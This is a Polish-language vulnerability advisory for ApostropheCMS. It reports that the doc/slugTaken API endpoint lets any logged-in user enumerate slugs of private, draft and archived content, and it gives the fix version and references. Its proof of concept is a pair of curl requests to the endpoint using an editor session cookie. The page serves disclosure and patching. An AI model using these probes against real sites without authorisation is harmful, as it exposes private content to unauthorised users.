ApostropheCMS: Ujawnienie istnienia prywatnych i administracyjnych treści przez punkt końcowy doc/slugTaken
Podsumowanie
Punkt końcowy slugTaken zwraca wartość logiczną wskazującą, czy dany slug jest używany we wszystkich typach dokumentów i na wszystkich poziomach widoczności, bez filtrowania według uprawnień lub typu. Każdy zalogowany użytkownik (w tym edytorzy) może dokonać enumeracji slugów prywatnych stron, wersji roboczych oraz zarchiwizowanych treści.
Szczegóły
Wywołanie POST /api/v1/@apostrophecms/doc/slugTaken z treścią { "slug": "target-slug" } wykonuje bezpośrednie sprawdzenie istnienia w kolekcji dokumentów. Mechanizm ten nie:
- Sprawdza, czy żądający użytkownik posiada uprawnienia do odczytu dokumentów danego typu.
- Filtruje według
visibility(public, loginRequired, private). - Filtruje według
viewRole. - Filtruje według statusu publikacji (wersja robocza a opublikowana).
Pojedyncza uwierzytelniona sesja pozwala iterować po przestrzeni slugów w celu skatalogowania całej zawartości CMS, w tym treści, do których przeglądania użytkownik nie ma uprawnień.
PoC
# Any authenticated session works — editor role sufficient
curl -b "$EDITOR_JAR" -X POST \
-H "Content-Type: application/json" \
-d '{"slug":"known-private-page-slug"}' \
"http://TARGET/api/v1/@apostrophecms/doc/slugTaken"
# → { "taken": true } — confirms private page exists
curl -b "$EDITOR_JAR" -X POST \
-H "Content-Type: application/json" \
-d '{"slug":"zzz-nonexistent"}' \
"http://TARGET/api/v1/@apostrophecms/doc/slugTaken"
# → { "taken": false }
Wpływ
Ujawnienie informacji. Osoba atakująca z dowolną uwierzytelnioną sesją może wyliczyć wszystkie slugi w systemie, odtwarzając pełną strukturę zawartości CMS, w tym treści prywatne oraz dostępne wyłącznie dla administratorów.
Co trzeba zrobić
Zaktualizuj ApostropheCMS do wersji 4.34.0 lub nowszej.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | apostrophe | < 4.34.0 | 4.34.0 |
Odnośniki
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-f66c-mpj2-3r8h
- https://nvd.nist.gov/vuln/detail/CVE-2026-112952
- https://github.com/apostrophecms/apostrophe/commit/06e4b377f3c360f9e89c32dccd7e505ad5ddf498
- https://github.com/apostrophecms/apostrophe/commit/40b989b1a9dd23d30029b8ce7668634265cfe5ea
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.34.0
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N- Słabość (CWE)
CWE-200- Platforma
- npm
- Paczka
apostrophe- Ujawniono
- 21.10.2026
- Aktualizacja
- 21.10.2026 20:23
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-f66c-mpj2-3r8h - CC BY 4.0
Historia podatności: apostrophe
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 33
- Pierwsza → ostatnia
- 09.2020 10.2026
- Bez poprawki
- 4
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 2
- Wysoka 9
- Średnia 18
- Niska 4
Ujawnienia w latach
- 2020: 2
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 29
-
ApostropheCMS: Ujawnienie istnienia prywatnych i administracyjnych treści przez punkt końcowy doc/slugTaken ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.